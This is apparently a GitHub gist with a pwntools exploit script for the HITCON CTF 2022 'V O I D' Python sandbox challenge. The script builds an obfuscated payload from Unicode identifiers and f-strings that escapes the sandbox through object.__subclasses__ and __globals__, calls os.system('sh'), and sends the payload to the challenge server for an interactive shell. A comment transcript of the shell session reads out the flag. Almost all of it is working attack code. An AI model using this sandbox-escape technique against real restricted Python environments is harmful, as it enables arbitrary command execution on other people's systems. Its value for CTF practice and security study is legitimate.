Last active
November 29, 2022 01:55
-
-
Save lebr0nli/002141a957beff01079552a1e4d78b2e to your computer and use it in GitHub Desktop.
Solution for HITCON CTF 2022 - V O I D (Misc)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import dis | |
def gen_varname() -> str: | |
d = {} | |
class Checker: | |
def __getattribute__(self, __name: str) -> bool: | |
if d.get(__name, False): | |
return True | |
d[__name] = True | |
return False | |
checker = Checker() | |
for i in range(0x10000): | |
if chr(i).isidentifier() and not eval(f"checker.{chr(i)}"): | |
yield chr(i) | |
def load_name(idx: int) -> str: | |
g = gen_varname() | |
return "(" + ",".join([next(g) for _ in range(idx)]) + ")", next(g) | |
def gen_left() -> str: | |
# yield all length 1 integers | |
# 0 ~ 9 | |
for i in range(10): | |
yield str(i) | |
# yield all length 2 integers | |
# 10 ~ 99 | |
for i in range(10, 100): | |
yield str(i) | |
# yield length 2 str | |
yield '""' | |
# yield all length 2 floats | |
# .1 ~ .9 | |
for i in range(1, 10): | |
yield f".{i}" | |
# 1. ~ 9. | |
for i in range(1, 10): | |
yield f"{i}." | |
# yield all length 3 integers | |
# 100 ~ 999 | |
for i in range(100, 1000): | |
yield str(i) | |
# yield all length 3 floats | |
# .11 ~ .99 | |
for i in range(11, 100): | |
if str(i).endswith("0"): | |
continue | |
yield f".{i}" | |
# 1.1 ~ 9.9 | |
for i in range(1, 10): | |
for j in range(1, 10): | |
yield f"{i}.{j}" | |
# 11. ~ 99. | |
for i in range(11, 100): | |
yield f"{i}." | |
# 1e1 ~ 9e9 | |
for i in range(1, 10): | |
for j in range(2, 10): | |
yield f"{i}e{j}" | |
# yield length 3 bytes | |
yield 'b""' | |
# yield length 3 ellipsis | |
yield "..." | |
# yield all length 4 integers | |
# 1000 ~ 9999 | |
for i in range(1000, 10000): | |
yield str(i) | |
# should enough for now :) | |
def is_valid_right(x: str) -> bool: | |
if str.isdigit(x): | |
return False | |
if any([c in x for c in ["'", "\\", "{", "}", "\n", "\r", "\0"]]): | |
return False | |
return True | |
def load_const(idx: int) -> str: | |
payload = "f'" | |
use_par = False | |
i = 0 | |
g = gen_left() | |
while i < idx: | |
if use_par: | |
payload += "{" | |
payload += next(g) | |
idx -= 1 | |
if i == idx: | |
payload += "}" | |
break | |
payload += ":" | |
tmp = chr(i) | |
while not is_valid_right(tmp): | |
i += 1 | |
idx += 1 | |
tmp = chr(i) | |
payload += tmp | |
payload += "}" | |
else: | |
tmp = chr(i) | |
while not is_valid_right(tmp): | |
i += 1 | |
idx += 1 | |
tmp = chr(i) | |
payload += tmp | |
i += 1 | |
use_par = not use_par | |
payload += f"'" | |
return payload, str(idx) | |
payload, _ = load_const(1000) | |
names, getitem = load_name(2780) | |
_, getattribute = load_name(2158) | |
underscore = "(246)[not[[]]]" | |
s = "'" + chr(548) + "'[not[[]]]" | |
u = "'" + chr(656) + "'[not[]]" | |
b = "'" + chr(654) + "'[not[]]" | |
c = "'" + chr(558) + "'[not[[]]]" | |
l = "(296)[not[]]" | |
a = "(292)[not[]]" | |
e = "'" + chr(556) + "'[not[]]" | |
i = "(245)[not[[]]]" | |
n = "'" + chr(556) + "'[(not[])+(not[])]" | |
t = "(311)[not[]]" | |
g = "'" + chr(644) + "'[not[[]]]" | |
o = "'" + chr(643) + "'[not[]]" | |
y = "'" + chr(548) + "'[not[]]" | |
m = "(245)[not[]]" | |
h = "(292)[-(not[])]" | |
# load necessary amount of names and consts | |
payload += names | |
payload += "if[]else" | |
# os._wrap_close.__init__.__globals__ | |
payload += "'\x05'" | |
payload += "." | |
payload += getattribute | |
payload += "(" | |
# os._wrap_close.__init__ | |
payload += "'\x05'" | |
payload += "." | |
payload += getattribute | |
payload += "(" | |
# # os._wrap_close | |
payload += "'\x05'" | |
payload += "." | |
payload += getattribute | |
payload += "(" | |
payload += "'\x05'," | |
payload += "+".join( | |
[underscore, underscore, s, u, b, c, l, a, s, s, e, s, underscore, underscore] | |
) | |
payload += ")()[-((not[])+(not[])+(not[])+(not[]))]" | |
payload += "," | |
payload += "+".join([underscore, underscore, i, n, i, t, underscore, underscore]) | |
payload += ")" | |
payload += "," | |
payload += "+".join( | |
[underscore, underscore, g, l, o, b, a, l, s, underscore, underscore] | |
) | |
payload += ")" | |
# .__getitem__("system")("sh") | |
payload += "." | |
payload += getitem | |
payload += "(" | |
payload += "+".join([s, y, s, t, e, m]) | |
payload += ")" | |
payload += "(" | |
payload += "+".join([s, h]) | |
payload += ")" | |
# object.__getattribute__(object.__getattribute__(object.__getattribute__(object, '__subclasses__')()[-4], '__init__'), '__globals__').__getitem__('system')('sh') | |
print(payload) | |
print(len(payload)) | |
dis.dis(payload) | |
print(len(payload)) | |
HOST, PORT = "localhost", 13337 | |
HOST, PORT = "34.80.32.35", 13337 | |
with remote(HOST, PORT) as io: | |
io.sendlineafter(b">>> ", payload.encode()) | |
io.interactive() | |
# [+] Opening connection to 34.80.32.35 on port 13337: Done | |
# [*] Switching to interactive mode | |
# $ ls | |
# chal.py | |
# flag | |
# run.sh | |
# $ cat flag | |
# hitcon{3scape the vvvVOIDddd} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment